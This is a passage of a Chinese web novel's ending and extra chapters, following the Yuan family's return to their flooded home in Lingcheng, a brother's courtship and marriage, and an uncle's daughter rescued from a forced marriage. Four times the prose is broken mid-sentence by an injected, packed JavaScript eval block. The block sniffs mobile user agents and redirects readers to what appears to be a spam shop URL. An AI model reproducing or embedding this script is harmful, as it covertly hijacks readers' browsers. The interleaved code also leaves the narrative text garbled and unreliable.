元之荞一巴掌盖上元知宁的嘴:“建国以后不许成精,别乱说,”她抬眼望向元善,“爸爸,应是之前军阀炸大坝那事改变了河域流向,并且老宅所在的地势不算高,所以才变成了现在这样。” “爸,你别急,我去问问住周边的人,说不定能问到一些消息。”元知茂接上元之荞的话,走向了附近的房屋。 这时,元知荷扶着梁桦缓慢走了过来,元知荷看着茫茫的江水,忽然想起了离开陵城那晚:“要是能找到帮嫂就好了,她如果还住在陵城,肯定知道老宅这边发生了什么。” 李然听到,立刻叫住元知茂:“大舅哥,我们一起吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612468|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 元知茂和李然问到的事实与元之荞猜测的差不多,陵城因水患部分地形发生改变,其中就有元家老屋所在的南街。 “帮嫂去世了,在陵城被攻陷的第一年,后来他们家死的死、跑的跑,只剩了一个改嫁的孙媳妇,”元知茂眸中有些难过,缓和了一口气,这才继续说,“但我问到了帮嫂的孙媳妇,她现在在茶馆做工,爸、妈,你们和小弟先去旅馆休息吧,我和妹妹他们去茶馆找人。” 元善哀叹一声:“一起吧,”他眼里有怀念,“帮嫂从你们出生就到家里了,早就算作了我和你妈的半个亲人,见不到帮嫂,能见见她以前的家人也是好的。” 一行人到了茶馆,在这顺利找到了孙媳妇,也知道了帮嫂后面的故事,无不十分唏嘘。孙媳妇说完哭哭啼啼,表示还有东西要拿给元善,让元善他们在茶馆等一下。元家人等了没多久,就见孙媳妇带着她现在的丈夫来了。 丈夫拉了一个板车,车斗里装着一个用墨绿色布包裹的大东西:“元大夫,这是您家的匾额,我媳妇说当时房子被水冲垮了,她家老太太只抢回来这一个匾额。” 元善快步走到车斗前,小心翼翼地拉开长布,布里露出“元氏医馆”四个大字,正是他这十几年来念叨的祖传招牌。 元善手指有些颤抖,细细拂过匾额四周,许久,他才感叹一声:“真不知道我该怎么表达感谢,我真的很感激,感激你们帮我把招牌保护得如此完好,这么多年了,它还是和我刚离开医馆时一样,”元善看向孙媳妇,神情真挚,“小赵同志,帮嫂的墓碑在哪?我们一家想去祭拜一下。” 孙媳妇抹了抹眼泪:“奶奶的墓在山上,元大夫你们今天先休息吧,明天我让我老公带你们过去。” 元善点了点头,沉默地看向匾额,不再说话。 元知茂和李然把匾额从车斗里抬了出来,元之荞则再次谢过孙媳妇,并询问陵城现在的改变。 等孙媳妇离开,元善他们找了一家旅馆住下,哀恸的情绪久久不散,尤其是比较感性的元知荷和梁桦二人。元知荷想起在黄包车上,她回头看向帮嫂的那眼,梁桦则是想起了自己的承诺。 [等我们从山俞回来,帮嫂你可要还来家里帮我] [夫人放心,这是肯定的] 元知宁不知道大人们为何这般伤心,但他也知道这个气氛不适合捣乱,于是安静地坐到了元之荞身边:“姐姐,帮嫂是谁啊?” 元之荞与帮嫂相处的时间并不长,但她也有些怀念那位和蔼的老妇人,元之荞照例抓了抓元知宁毛栗子一般的头发,回答道:“帮嫂是帮妈妈照顾家里、照顾我们的奶奶。” “哦。”元知宁似懂非懂地应了一声。 元之荞不是一个溺于情绪的人,伤感一会便调整好了状态,她看向元善和梁桦:“老宅没了,不代表家没了,明天我和哥哥去政府办事处那边问问,爸爸你有老宅的房屋凭证,我们应该能靠这个得到补偿。要是他们对安置地有政策,我们就有可能得到相应的房子或土地,要是都没有,我们就在这买房子。” “硝烟炮火我们都活过来了,”战争改变了许多人,也改变了我们,战争带走了许多人,也带走了我们关心爱护的人,但好在,我们仍旧拥有彼此,我们仍旧完整,元之荞笑笑,“老宅的消失就当作是启示吧,现在,我们可以重新开始。” 153. 番外二 “妈妈,快看看,喜不喜欢?”元之荞让人扛了一台缝纫机回来,听见声音的梁桦连忙让元知茂去把缝纫机搬进房中。 “哎呀,怎么又往家里买东西?”梁桦眼里高兴,却也忍不住担心元之荞,“买一台缝纫机要花很多钱吧?”她将女儿拉到一边,压低声音,“妈妈这几年偷偷攒下了一些钱,不多,待会回去的时候拿着。” “不用了妈妈,”元之荞笑着拒绝,“我工资很高的,买台缝纫机而已,没花多少。” “有多少钱也不能这么花啊,钱还是得攒着。”经历了长时间的穷困生活,梁桦逐渐变得节俭,也逐渐习惯了节约。 元之荞不想与母亲争辩,于是转移火力道:“妈,以墨说要给家里配一台电视,妈妈劝的那些话,还是都留给他吧。” 梁桦:“你俩孩子,真是……” “妈,缝纫机我给你搬到房里了,我回去了啊。”元知茂好不容易找到开溜的机会,前脚刚要去开门,后脚就被梁桦眼疾手快逮到了:“知茂,你等等,我们娘俩刚才的话还没说完。” 元之荞看向元知茂,只见哥哥疯狂投来求救的眼神。 梁桦:“今天跟你相亲那个姑娘,怎么样了?人家相中你了吗?” “妈,”元知茂面上无奈,实话实说,“那姑娘人挺好的,但我没什么感觉,不想耽误人家,所以给拒了。” 梁桦气得用力拍了一下元知茂的胳膊:“没感觉,又没感觉,你都相了七八个姑娘了,还没感觉?你到底想相个啥样的?” 元知茂嘴唇嗫嗫嚅嚅,最终什么话也没有说。 看见这情形,元之荞忽地心头一跳,马上盯着元知茂,似乎想从透过他的眼睛看到他的内心。 哥哥不会还惦记着那白茉莉吧? 梁桦看着元知茂,长长地哎呦一声:“你是老大,今年都二十七了,同胞妹妹知荷都有儿子了,你还在这挑来挑去的,到底什么时候才肯着落结婚?”念叨完,梁桦又变回语重心长,“婚姻不是看对眼了才结婚,是在相处中慢慢培养感情,我和你爸那时……” “妈,”元知茂也拖长着音,打断梁桦,“你和爸那时是旧时代,现在提倡自由恋爱、自由婚姻,早就不兴你那套了。而且你怎么老盯着我,之荞她不也没结婚?” 元知茂试图拿妹妹做挡箭牌,但梁桦一点也不接招:“之荞没结婚,但她有以墨呐,而且之荞才二十岁,年纪还小,她是要做大事的……” 元之荞点点头,说的没错。 “那我也要做大事。”元知茂立刻接话。 “你要做什么大事?”梁桦听了有些来气,语速逐渐加快,“一年到头回不了几次家,每次回家还不考虑成家,我儿子明明条件好、外貌好,现在却成了同龄人中唯一一个不结婚的,别人看了都说闲话。” 元之荞捏了把汗,不会真是初恋的杀伤力吧? “胡同口的大娘说哥你的身体不行。”元知宁忽地从屋中走出,幸灾乐祸地插嘴。 “元知宁!”梁桦和元知茂异口同声,同时瞪向元知宁。 元知宁被骂,立刻闭上了嘴,但眼里没觉得自己有错。 “妈,等我像之荞一样找到一个看对眼的,我就结婚,”元知茂眉宇有些疲惫,但还是尽力劝慰梁桦,“所以妈你就别催了,也别给我安排什么相亲了。” 梁桦好不容易压下的火气再度蹿起:“我不给你安排相亲,你去哪里看对眼?部队里全是老爷们,你去和老爷们看对眼?” “那也不是不行。”元知宁又傻笑插嘴,完全不知战火即将烧到他身上。 梁桦瞪向元知宁,额角的血管突突直跳,元之荞见状不好,一巴掌拍到元知宁脑门上,发出十分响亮的脆音:“回屋看书,马上就要中考了,要是考不上高中,你就只能跟着爸爸学医。” 元知宁委屈地用掌根揉额头,可怜兮兮地看着元之荞,嘟囔道:“读书那么难,还不如跟着爸爸学医,然后学成了继承医馆。” 梁桦毫不留情地接话:“你姐姐那般聪慧,往上两个哥姐也不愚钝,怎么到你就像变异了一样?”她如今也像元善一样,日常对元知宁发出灵魂疑问,仿佛很难理解小儿子与众不同的画风。 梁桦难得地语带嫌弃:“让你继承医馆,就凭你张嘴,都不知道有多少病人家属会打上门来,我看到时候是你替人看病多,还是自己替自己看伤多。” 元知宁吐了吐舌,刚想说话,又被元之荞一把掐住脸颊:“听话,回屋看书。” 元之荞语气很淡,但元知宁却不敢造次,只好拿了书乖乖回房。 全家也只有元之荞能够治得住元知宁这个皮猴,这点连元知宁自己也不知道为什么。要元之荞说,大概是因为她的出现,元知宁才能顺利活在这个世界上,所以元知宁对元之荞有着天然的敬畏。 “妈,你还没用过我给你买的缝纫机呢。”打发了小弟,元之荞对梁桦装乖卖巧,悄悄又给了元知茂一个眼神,让他现在离开。 元知茂接收到妹妹的信号,眼里登时冒出感激,点了一下头便去开门。 梁桦被元知宁气得捂着胸口,她自然也看到了元知茂的举动,但现在的她懒得去管,于是默认了元知茂的行为,跟着元之荞回房:“最近也不知怎么了,总觉得身上带火气,看着你哥和你弟,也总觉得气不打一处来,哪哪都不顺心。” 元之荞思考一瞬,回答道:“可能是妈妈到年纪了,这种表现很正常,”四十多岁快五十岁的女人,总是难免遇到更年期的各种问题,“明后天我把一位认识的医院女主任介绍给妈妈吧,我觉得你们合得来,聊一聊可能会有些新思路。” 元之荞没有直接挑明,所以梁桦以为元之荞说的是解决元知茂单身的事,欣然接受了:“你哥哥越大越难懂了,听说他在部队也挺受欢迎的,尤其是受驻军的女医生和女护士欢迎,怎么就一个也看不上呢?” 元之荞听了愈发心虚,觉得是自己当初设计张修正和白茉莉配对时,给元知茂造成的打击太大,所以才有现在这种情况,她想了一些办法:“改天我让以墨去问问,他们都是男人,也许会好沟通一些。” “说不定以墨能问到一点哥哥的喜好,到时候我们再循着喜好,给他介绍合适的姑娘。” “也只能这样了,”梁桦稍稍放下了心,接着注意力被缝纫机转移,眼中终于慢慢染上了喜悦,“之荞你买的这台机子真漂亮,是凤凰牌的吧?”梁桦略粗糙的手小心地摸着缝纫机的黑色机身,“看看,这还有金边呢,真漂亮。” “妈妈喜欢就好,快踩一下,试试好不好用。” * 钟以墨领到任务,这天将大舅哥约到饭馆,准备进行一场男人之间的谈心,结果饭吃完了,有用的信息却一条也没问出来。离开时元知茂依旧没心没肺,钟以墨却疯狂在想该如何给元之荞交差。 就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650916|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,上天给了一个转机。 “喂。”胡菲双臂抱胸,满脸不耐地叫住钟以墨。 哼,这卷毛小子一早图的就是她们部长,可恶,当初在康华的时候她怎么没看出来,现在来不及了,早让这小子在英国钻空子了! 胡菲觉得这世上哪个男人也配不上部长,故而哪个男人在她眼里都不顺眼,尤其元部长的正牌男友钟以墨。胡菲把邮差包里的资料拿给对方,语气冷漠:“这个是部长给你们华科长的,你转交一下。” 看到钟以墨点头,胡菲转身就走,一点多余的目光也不分给钟以墨,更忽略了钟以墨身边傻愣的元知茂。 “以墨,那是谁?”钟以墨见大舅哥仍望着胡菲离去的背影,心中顿时察觉有戏,马上就把胡菲能说的信息说了,回去后高兴地打电话给元之荞邀功。 元之荞挂了电话,没忍住揉上额角。胡菲和白茉莉在外在不像,但精神内核却差不多,都是敢想敢做,执行力强。这样的女性通常会坚持自己的想法,并且十分果断,不会在意别人的想法。 元之荞看胡菲那副“男人别挨我,老娘终身不嫁”的架势,隐隐意识到哥哥的情路将不会好走。 若两人能成,胡菲这样性格的儿媳与母亲相处,也将经历比较长时间的磨合。元之荞在心里叹了一气,不知道这是好事还是坏事。 事实果然如元之荞预料,胡菲对元知茂爱答不理,最终是元知茂追求两年,胡菲才终于同意交往。 不过后来的事情异常顺利,两人的发展得也相当迅速。第二年末,胡菲主动求婚,元善和梁桦给两人挑了一个好日子。二人领证、办婚宴酒席,然后正式结为了夫妻。出乎元之荞意料,婚后的胡菲竟然选择随军,主动要求把岗位调到离元知茂更近的单位去。 搬离办公室的那天,胡菲高兴地收拾着东西,然后向元之荞告别:“部长,我们中秋节见。” 元之荞笑着调侃:“之前见你对我哥不咸不淡,还以为你俩没戏,没想到现在这么主动。” 虽然成了一家人,胡菲心里仍尊敬着元之荞,并未以亲人之名肆意跨过那条亲密的界限,她不好意思地笑了笑:“不瞒部长说,其实一开始我没打算和知茂好,不过是看他是你哥哥,所以我才没那般排斥他,”想到这里,胡菲眼里不自觉透出笑意,“后来我想,要是女人必须嫁人,那我嫁给知茂也不错,如此我就能以嫂子的身份,一直伴在部长身边。” 元之荞点了点头,单手撑住下巴:“那现在呢?” 胡菲咬了咬下唇,面颊泛起淡淡的红晕,虽然心中不好意思,却又直白地说出了口:“现在我觉得知茂他太好了,好到我不舍得错过他。抱歉了部长,你只能成为我心中第二了。” 元之荞笑着低头,挥了挥手:“走吧,失望了,不想再看到你了。” “好嘞,部长,”胡菲也笑着抱起箱子,里面装的全是她个人物品,路过元之荞桌面时,她放下一袋子葡萄,“这是给妈的,尝了一颗很甜,妈应该会喜欢,部长帮我带回去吧。” “走了,我们中秋见。”胡菲脚步轻快,身影彻底离开了办公室。 元之荞看着塑料袋里的大颗青提,嘴角浅笑。 爱还会让人学会包容,也会让人爱屋及乌。因为看到他的快乐,才是她的快乐。自己之前担心的问题,现在看来,都将会在爱中慢慢化解。 元之荞把葡萄收好:“看来,是好事啊。” 154. 番外三 元之荞研制出全国联网的人口系统,以及可承载这种庞大系统的电子计算设备后,星网终于上线,而元之荞也在全国各地录完人口信息之前,查到了元安一家。 原来元安他们没有离开北城,而是搬到了北城的边界地区。 当元之荞把这个消息告诉元善和梁桦,元善立刻表示要去找元安,还急得让元知宁去给医馆挂上“休诊一日”的告示,好空出今日寻人的时间。元之荞无法,只好雇了车,让人载着元善去系统登记的入住地址。 元善来到地址的胡同口,还未进去,就见里面人群拥挤,似乎是在吵嚷。元善下了车,刚想问人,就听里面传出了女人的声音。 “葛同志,元志菁是你亲女儿,你怎么能这样对她?”妇联的女同志苦口婆心,试图用法律让葛莉儿改变主意,“小菁今年才十六岁,国家规定女性年满二十周岁才能结婚,你这样做是犯法的!” 葛莉儿用大大的方纹围巾缠着头,枣红的底色嵌上棕色丝线,正是当下最时髦的款。 布头一侧垂下,隐隐遮住葛莉儿受伤的半边脸,像极了风沙地区百姓的装束。葛莉儿眼中不忿,看着女儿那张与自己相似的脸,满脸怨恨:“她自己有心上人,想早点结婚,关我什么事?” 元志菁怯怯地看了葛莉儿一眼,眼睛明明想要反驳,嘴里却不敢说出一个字。 “志菁只是和文华关系好,”同一个车间的纺织女工替元志菁说话,女工圆圆的脸气得有透红,似乎想替元志菁多年来的委屈全数抖清,“但是葛阿姨,你怎么能因此给志菁介绍四十岁的老光棍?那不是害了她吗?” 说到这里,女工忿忿不平:“要不是我猜到然后及时赶来,昨天志菁就要被你强卖给那个老光棍了!” 听到这里,众人发出整齐的嘘声:“这哪是当妈啊,这是当仇人啊。” “旧社会的太平日子都没几个这样对自己的孩子,哎呦,这人怎么回事?她老公呢?她老公不管?” “她老公成天不着家,早搞破鞋去了,管什么管?”插话人满嘴不屑,“指不定那破鞋也揣上了,那边有孩子,谁还管这边的闺女?” 有人不认同,主动解释:“要是我每天都要面对这么一个老婆,我也得去找别的女人,就算是个母老虎,也算是个温柔乡。” “哎,你这话什么意思?展开说说?” 议论像是夏日随处可见的知了猴,嘹亮又恼人,却又赶也赶不走。葛莉儿眼眶涨红,用力拉了拉布头,似乎这样就能盖住外面的声音。 她看着元志菁,此刻的元志菁正安静地站在一旁,缩着肩,微微低头,懦弱的样子。可即使是她身形不太好看,却也无法拖垮她容貌的昳丽,就算是那偏黑的皮肤也难掩风华,活脱脱一个年轻版的葛莉儿。 看到这里,葛莉儿的无名怒火又冒了出来。要不是这个孩子,要不是当初护了这个孩子,她就不会变成现在这副样貌,老公就不会出去沾花惹草,生活也不会变成如此难堪。 葛莉儿攒紧了手心,指节被握得发白。 她痛苦的源泉,全是这个孩子。 妇联主任一见葛莉儿异样的目光,立即意识到不妙,于是错身一步,挡住了半个元志菁:“葛同志,你这是要干什么?” 元志菁很熟悉葛莉儿这样的神情,她知道,母亲又要打她了,身体条件反射性地蜷了起来。 元志菁记得小时候,母亲还是很好的。因为家境不富裕,母亲会学着做衣服,那时总是自己一件、母亲一件,两人穿相同花色的衣裳,旁人远远一望便知她俩是母女。 后来战事频发,元志菁记得每一个枪声四起的夜晚,母亲总是抱着自己,轻拍自己的后背,细语安慰,那时的她从未感受过害怕。 那会,自己常常能见到母亲的笑,也能肆意地躺在母亲怀中撒娇卖痴。 是什么时候发生改变的呢?元志菁不清楚,只记得自己依稀长大,母亲的脾气就渐渐变得不好起来,也是在这时,她开始时不时听到旁人对自己的评价与称赞。 “哟,这是你女儿吧?你俩长得真像,你女儿可真有福气。” “莉儿,看你女儿就能看到你的样子,小菁这么漂亮,要是你脸没受伤……” “这小美人胚子长大后不得了哦,说不定要比妈妈还美哦。” 元志菁清楚地记得,每当母亲听到这样的话,面上神情都会变得不好,母亲会对自己没好脸色,而自己也会感到害怕。那时的她不懂,只觉得自己懂事一些、能干一些,母亲或许就不会生自己生气了。 于是元志菁拼了命地干活,小小年纪就帮洗衣服、帮做饭,有时候不用葛莉儿开口,元志菁就提前把家务全干完了。 但就算这样,葛莉儿也对元志菁不满意。 有的时候葛莉儿会对元志菁好,但这样的好通常持续不了几天,葛莉儿就会换上恶毒的嘴脸,对元志菁进行长时间的辱骂与责罚。 有时候元志菁也会恨葛莉儿,有一次她哭着去找元安,元安只是长长地叹了一口气,然后说起葛莉儿生产的故事。元安原意是宽慰元志菁,可元志菁听后,只好将那些无处安放的恨,强行变为无法诉说的愧,然后把自己包裹起来。 她心里难受,却不知为何难受、因何难受。她想解脱,却不通其法、不得其变,于是她只好埋头讨好母亲,更努力地做活,试图靠此赎罪,靠此得到转机,靠此求到幸福。 但一切,似乎都是徒劳。 元志菁想过,母亲是不是真的恨自己,是不是自己嫁人离家,才能让母亲、让自己得到真正的自由。 她想过,又放弃过,接着又忍不住再从头想过。 彷徨之时,她遇到了文华。 文华也是纺织厂的工人,不过与她这个临时工不同,文华是有正式编制。文华对她的好她看在眼里,却不敢放进心上,因为她不敢高攀文华。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650917|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元志菁觉得,文华只把她当妹妹,她就已经十分高兴了。 元志菁小心地守护这些小小的幸福,隐藏着那些幻想成真的承诺,与文华点滴的瞬间,每到睡前尝一尝,她都能做上整晚的美梦。 可就是这样渺小的知足,还是被母亲发现了。 元志菁不敢相信,母亲得知后的第一件事,竟是要把她嫁给一个岁数大、模样矮小的赖头男人。 得知这一事实后,她觉得自己的天都塌了。但绝望过后,她却很快过渡到了接受。 元志菁想,也许,这就是书里说的命运吧。 她的出生是一场悲剧,所以她的一生,也注定求不得圆满。 就这样吧,她认命了。 “弟妹,你到底是在干什么?”元善惊骇地听完路人给他讲述的经过,看着元志菁那张与葛莉儿相差不大的脸,一下就认出了这是他弟弟的女儿,于是元善大步走上前,挤开人群,对着葛莉儿询问,“安弟去哪了?孩子的婚事,有你这么乱来的吗?” “这位同志你是谁?”妇女主任打量着元善,疑惑出声。 元善有些生气,瞪了一眼默不作声的葛莉儿,对着主任自我介绍道:“我是这家人的大哥元善……女同志,请问我弟弟去哪了?战时我们失去了联络,现在新秩序建立,我才能从女儿那边得知到弟弟的消息,一知道住址我就立刻找来了……” “是元同志啊,”见到有话事人出来,而且还是个明事理的,主任脸上明显松了一口气,“元同志,我们也不知道元安同志去哪里了,但元志菁姑娘这事……” 妇联开始疏散围观群众,葛莉儿只能不情不愿地带着元善和主任进屋谈话,元志菁依旧安静地站在一旁,仿佛和墙面融为了一体。 元善听完主任的讲述,又听了葛莉儿的控诉,心火渐起。元安这个弟弟怎么十多年了还不长进,竟然和张淑华那时一样,他拍案怒起:“弟妹你等着,我马上就去把元安这小子给你抓回来。” 元善出门后就找了一家有电话的店铺,开始给元之荞打电话:“之荞,能不能用你那系统帮我找一个人?” “爸爸,这事违背工作原则,你要是想查,得经过手续批准。”元之荞有些无奈,虽然是自己人,但开后门的事还是不能随便做。 元善有些着急:“这事关系到你叔叔一家的未来,爸爸来不及批字条、过手续了。” 元之荞察觉到元善语气的中的不同,于是打开电脑,说道:“只有这次,爸爸下不为例。” 元善拿着电话点头:“下不为例。” 元善拿到了小舞女的几个住址,马不停蹄地赶去上面的地址,却在前往第一个住址时,在街边的饮冰室看见了将头发梳得油光水滑的元安。 “元安!”元善大喝一声,气势汹汹地站在冰室门前。 元安放下手中冰凉的汽水,抬头看去,眼中一下亮起惊喜:“哥?” 155. 番外四 “跟我回家去。”元善面上丝毫没有元安那种重逢的喜悦,一进门便想带元安走。 元安结了账,一口气把杯中的冰饮喝完,然后才起身跟着元善,他以为元善说的“家”是元善家,于是问道:“哥,你住在附近?是最近搬回来的,还是一直住在这边?要是一直住这,我怎么从未遇到过你?” 元善听了心火难压,他转过身来,刚想训斥元安,却在看到弟弟明显沧桑的脸,以及前额上几根显眼的白发时,终是憋下了那股气。 元善:“你知道小菁,我侄女,她最近怎么了吗?” 元安听到笑容渐收,一并收住了原本想问哥哥这几年过得怎么样、嫂子孩子好不好的话,他嘴唇细微抽动,手掌插进口袋,整个人沉寂下来。 元善:“你的家务事我不会管,但违法乱纪的事我一定会管,小菁她和知宁一般大,知宁都在读书,你就给小菁送厂做工,然后嫁人?” 元善语气尽量平静,但元安脸色却不太好看,听到“嫁人”一词,他的眉头立刻皱了起来,反驳道:“哥你胡说什么?就算我不管女儿,我也不会让她这么早嫁人。” 元善看着元安,确认自己弟弟没有说谎,心底火气才渐渐熄了下去。 元安眼里冒出几许不耐烦:“哥,你来找我到底是干什么?” “你自己回家看看吧,妇联组织都找上门了,”元善深深呼吸一气,又忍不住劝告一句,“既然娶了人家,就对人家好点,现在是新社会,妇女解放了,早就不兴什么三妻四妾了。” 元安没有说话,手指在口袋中动了动,掏出一只黄色的烟盒。 元善说了自家住址,拍了拍元安的肩膀,转身离开,但走了两步又回过身来,再度看向元安:“陵城老家被水淹了,祖宅没了,不过你家那边的东巷还是好的。你家我也看了,房子被毁坏,门窗都没了,修一修还能住……”元善顿住,改了原本要说的话,重新开口,“小弟啊,要是有什么事,可以和哥说,走了。” 元善没再回头,而元安取下嘴边的烟,看着烟雾拂去元善的背影,一道消散在空气中。元安用力嘬了一口,将烟扔到地上。棕色的皮鞋碾过猩红的烟头,离去时,元安和那烟一样,都没了光亮。 元善回家后将元安的事说了,家人听了都很唏嘘。 四天后,元安带着元志菁敲响了元之荞家的门。元安的模样没有几天前那般光鲜,仔细看去,还能从他脸上看到几道细小的抓痕。元安眼里有些疲惫,但见到元之荞时仍勉强露出了一个笑容:“之荞?都这么大了?” “小叔。”元之荞笑着回应,将两人迎进了门。 “你爸爸呢?我有事找他。”元安拦住要倒茶的元之荞,而元之荞看了他们父女一眼,让梁桦接手招待,自己去医馆把元善叫了回来。 “哥,”元安的声音老态了许多,“能让小菁在你家住一阵子吗?” 元善看向元志菁,这姑娘依旧和那天一样,习惯性地低着头、攥着手,安安静静。 “当然可以,住多久都可以。” 元安听到这个回答,绷直的脸明显流露了一丝放松。 “你和弟妹……怎么样?”元善试探性地开口。 元安苦笑一声,摇了摇头。 他的确想过一辈子对葛莉儿好,哪怕是她破相之后。 他见到她受伤的无助,他会跟着难受,他面对她担心的疑问,他会一遍遍承诺,安抚她摇摇欲坠的心。 他努力赚钱,给她买她喜欢的首饰和化妆品,但她会突然砸毁那些他送的东西,然后用激烈的言辞开始质问。 他尽量在家,想要和她说话解闷,但她总是疑神疑鬼,然后说不了两三句又开始质问。 他觉得自己很累,也觉得自己做了所有能做的。 他看着葛莉儿,觉得她好像变成了一个吞了毒药的疯子,只是单纯地怀着仇恨,然后等待着他与女儿的死亡。 那一瞬间,元安突然怕了。 冰凉的恐惧席卷了他,于是他懦弱地丢下女儿,逃避似地去了别的地方。 他在大饭店舞厅认识了一位百灵鸟,百灵鸟善解人意,一如当年的葛莉儿。接着便是在许多个不回家的日子,葛莉儿逐渐成了死去的张淑华,而百灵鸟则慢慢成了他新的“葛莉儿”。 “是我的错。”元安只说了这一句话便离开了元家,之后几年,他没再登门拜访,也没有接走过元志菁,不过按时每月给元志菁寄来生活费,当是那些年的补偿。 元志菁在元家依旧谨小慎微,但因有元知宁这个调皮的堂弟带着,元志菁慢慢变得自在活泼了一些。 * 元之荞帮忙批改元知宁和元志菁写的试题,有些感叹:“知宁啊,人家小菁才学一年就进步神速,你这脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659060|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,可能真是我们元家最笨的。” 元知宁啧了一声,想要突显自己的并不在意。 元志菁抿嘴轻笑,但很快敛起笑容,不敢发出声音。 “小菁,你想过成年以后要干什么吗?”元之荞把卷子还给对方。 “我?”元志菁低头想了一会,小声道,“我妈说女孩子成年是要嫁人的,所以我成年,也会嫁人吧?” “有没有想过继续读书?”元之荞温柔地看着元志菁,语气耐心,“你学得很快,要是高中吃力的话,可以先从初中读起,顺便读书的时候也可以继续想,想自己以后到底要干什么。” 元志菁愣住,她不知道怎么回答,只是呆呆地看着元之荞。 元之荞笑了笑:“当然,你想嫁人结婚也可以,但我觉得,嫁人不是女孩子唯一要做的事。” “我……我还可以读书吗?”元志菁把下唇咬得发白。 “为什么不可以,”元之荞托起元志菁的手,同样细语轻声,“这是你的人生,你有选择权,要是想读书,就可以选择读书。若担心买书、伙食、住宿等钱不够的话,二堂姐我可以先借你。” 元志菁低头看着自己粗大的手,小心翼翼地躺在元之荞细嫩的手中,她心里顿时翻涌起无数情绪,十分克制地吸了吸鼻子,然后忍住泪花,小幅度地点了点头。 而元知宁听到,立刻吃惊地看着元志菁:“什么?你要读书?菁姐啊,你知不知道读书有多难?”他一把抓过元志菁双肩,全然不顾现场的气氛,拼命晃动着元志菁,似乎想摇醒这个弄不清事实的堂姐,“你学的那些都是最简单的,后面还有什么洋文、数理,这可不是闹着玩的!” 元知宁颤抖着舌头想要发出弹舌音,但只是把口水在嘴里炒饭:“听见了吗?我们还要学苏国语,学了舌头全都打结。我是好心才告诉你,读书压根不快乐,其实……” 元之荞平心静气地一把捏住元知宁的嘴,把他捏成一只扁嘴鸭子,冷淡的眼神透着浓浓的威胁:“没见你把小堂姐讲哭了吗?跟我过来,我看着你闭嘴五分钟。” 元之荞把元知宁拎走了,元志菁看着他们起身的背影,终于笑出了声。 她用力地握着自己的双手,泪水却不小心砸到了手背,是暖的。 她抹去眼泪,带着笑意。 真好,她打心眼里觉得。 真好。 156. 番外五 当年的唐曦在阅读了有关乌麦的相关报道后,突然就对乌麦这人有了相当浓厚的兴趣,而她越是了解,就越是佩服乌麦,甚至也像剧情一样,主动收集乌麦的消息。 一颗名为偶像的种子,悄然种进了唐曦心里。 时间又过了几年,战争彻底结束,新的国度与秩序建立,唐曦的生活也开始走向正轨。她依旧如原书描写那样,上了学,住进了老师家中,遇见了门对面的张修正。不过与原书不一样的是,她还看见了张修正身边的妻子白茉莉。 唐曦惊讶于张修正的外貌,但除了霎然一击的心动外,她再无想法。 张修正也被唐曦的外貌惊艳,但他刚要有什么想法时,就被一旁的白茉莉拽过胳膊,拉进了屋门。 后来的发展也和原书剧情差不多,唐曦的老师依旧把唐曦带到张家吃饭,唐曦和张修正慢慢相识,也和白茉莉处成了朋友。但偶尔,唐曦对着张修正,会发现自己心跳很不正常,宛如疯鹿乱跳。 而这时的张修正,心里也会突然出现不一样的情愫,似小鹿乱撞。 最后是白茉莉,她在与唐曦相处时,本来挺喜欢唐曦这个乖巧善良的姑娘,但不知自己哪来的敌意,总是一见唐曦就觉得浑身烦躁,并且这种感觉蔓延到了自己老公张修正身上,让她心里怪怪的。 唐曦:可能是心脏出问题了,我奶奶就有心脏病,也许自己有遗传,得赶紧找个时间去医院检查一下。 张修正:我可能喜欢上别人了,但我是有老婆的人,我不应该喜欢别人才对……我要克制一下,等真克制不了,再顺心而为。 白茉莉:是不是婆婆给我炖的补汤太补了,所以才浑身上下燥得慌?不行,明天得委婉问一下她都放了些什么,这哪是备孕啊,这是备火啊。 * “小曦在干什么?”老师领着来送水果的张修正进屋门,恰好看见唐曦坐在客厅,手中拿着一本病例。 